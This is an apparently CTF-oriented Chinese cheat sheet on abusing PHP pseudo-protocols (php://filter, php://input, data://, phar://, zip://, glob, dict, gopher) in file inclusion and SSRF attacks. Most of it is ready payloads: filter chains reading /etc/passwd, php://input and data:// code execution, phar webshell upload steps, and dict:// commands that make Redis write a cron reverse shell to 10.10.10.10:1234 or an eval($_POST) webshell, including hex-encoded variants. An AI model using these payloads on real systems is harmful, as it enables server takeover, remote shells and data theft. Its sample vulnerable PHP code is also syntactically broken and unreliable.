介绍
伪协议(Wrapper/Pseudo-Protocol)是PHP等环境中特殊的URL式协议, 用于访问各种I/O流和系统资源; 它们提供了统一接口来处理不同数据源, 但也常被攻击者利用进行漏洞利用
特点
- 非标准协议:不是真正的网络协议(如HTTP/FTP)
- 统一访问接口:通过类似URL的语法(php://)访问不同资源
- 上下文相关:行为受配置影响(如PHP的allow_url_include)
主要伪协议
php协议
php://filter
作用: 对流进行过滤处理, 其实就是读取文件再加个加密
关键参数
read:指定过滤器resource:目标资源
# 读取文件并Base64编码
php://filter/convert.base64-encode/resource=config.php
# 多层过滤器链
php://filter/read=string.rot13|string.toupper/resource=/etc/passwd在php中,过滤器分为字符串过滤器、转换过滤器、压缩过滤器以及加密过滤器, php官方过滤器大全
一些payload
php://filter/convert.base64-encode/resource=flag.php
php://filter/convert.base64-decode/resource=flag.php
php://filter/convert.quoted-printable-encode/resource=flag.php
php://filter/convert.iconv.UTF-8/GBK/resource=flag.php
php://filter/convert.iconv.UTF-8.UTF-16/resource=flag.php
php://filter/zlib.deflate|zlib.inflate/resource=flag.php
php://filter/bzip2.compress/resource=flag.php
php://filter/string.rot13/resource=flag.php
php://filter/string.tolower/resource=flag.phpphp://input
作用: 读取POST原始数据
反正在CTF中, 一般是GET传入php://input后在POST中写你要执行的命令就行, 比如这个:
<?php
if (isset($GET['file'])){
if substr($GET["file"],0,6)==="php://")
include($GET["file"]);
}else{
echo "Hacker!!"
}
}else{
highlight_file(__FILE__)
}
?>利用方式如下:
POST /?file=php://input HTTP/1.1
<?php system ("ls /")?>php://fd
作用: 直接访问文件描述符
没见过题目, 不过据说有
php://output
没见过题目
php://memory, php://temp
没见过题目
file协议
作用: 访问本地文件系统, 但是需要绝对路径, 通常用于验证是否存在ssrf
file:///etc/passwd
file:///C:/Windows/win.inidata协议
允许将原始数据嵌入到 URL 中, 通过文件包含漏洞, 我们可以利用这个伪协议将恶意 PHP 代码作为数据嵌入, 并让服务器解释执行
// 直接执行代码
data://text/plain,<?php system("id");?>'
// Base64编码
data://text/plain;base64,PD9waHAgc3lzdGVtKCJpZCIpOz8+phar协议
用于访问phar文件, 这里存在一个phar反序列化和配合文件上传利用
phar归档提供了一种方法,可以将完整的PHP应用程序分发到单个文件中,并从该文件运行它,而不需要将其提取到磁盘; 此外,PHP可以像执行任何其他文件一样轻松地执行phar归档,无论是在命令行上还是在web服务器上
文件上传
结合文件上传的利用方式:
- 压缩带有一句话木马的php文件, zip后缀改为.jpg(比如test.php)
- 上传后利用phar进行读取
phar://./test.jpg/test.php- 尝试POST传入命令执行
反序列化
这种方法可以在不使用unserialize()函数的情况下触发PHP反序列化漏洞, 漏洞触发是利用phar:// 伪协议读取phar文件时,会反序列化meta-data储存的信息
可以看看这个
zip协议
访问ZIP压缩包内文件, 利用方式和phar协议的文件上传部分相同
注意是绝对路径, 否则会包含失败
zip://C:/Users/40454/Desktop/test.jpg%23test.txt
zip:///var/www/html/test.zip%23test.txtglob协议
文件模式匹配, 结合print等输出函数就可以拿到文件信息, 下面是等效的
?cmd=highlight_file('1.php');
?cmd=print_r(glob("*.php"));
?cmd=print_r(glob("*"));dict协议
dict和gopher都是ssrf打数据库的常客啊
字典服务器协议,访问字典资源,如,dict:///ip:6739/info, 利用这一点可以探测端口, 指纹信息甚至服务的命令
# dict协议攻击redis, 写入定时任务反弹shell
# centos系统定时任务的路径为:/var/spool/cron
# debian系统定时任务的路径为:/var/spool/cron/crontabs
# ubuntu就不要想了, 这个条件有点苛刻
dict://127.0.0.1:6379/config:set:dbfilename:root
dict://127.0.0.1:6379/config:set:dir:/var/spool/cron
dict://127.0.0.1:6379/set:test:"\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/10.10.10.10/1234 0>&1\n\n"
dict://127.0.0.1:6379/save
# 若payload存在被转义或过滤的情况,可利用16进制写入内容
dict://127.0.0.1:6379/set:test:"\n\n\x2a/1\x20\x2a\x20\x2a\x20\x2a\x20\x2a\x20/bin/bash\x20\x2di\x20\x3e\x26\x20/dev/tcp/10.10.10.10/1234\x200\x3e\x261\n\n"
# dict协议攻击redis,写入webshell
dict://127.0.0.1:6379/config:set:dbfilename:test.php
dict://127.0.0.1:6379/config:set:dir:/var/www/html
dict://127.0.0.1:6379/set:test:"\n\n<?php @eval($_POST[x]);?>\n\n"
# dict://127.0.0.1:6379/save 若存在过滤, 则利用16进制内容写入:
dict://127.0.0.1:6379/set:test:"\n\n\x3c\x3f\x70\x68\x70\x20\x40\x65\x76\x61\x6c\x28\x24\x5f\x50\x4f\x53\x54\x5b\x78\x5d\x29\x3b\x3f\x3e\n\n"
# dict协议攻击redis,写入ssh公钥 操作和写入定时任务相似gopher协议
分布式文档传递服务,gopher协议在ssrf的利用中一般用来攻击redis,mysql,fastcgi,smtp等服务, 可使用gopherus工具生成payload
sftp:// SSH文件传输协议或安全文件传输协议
ldap:// 轻量级目录访问协议
tftp:// 简单文件传输协议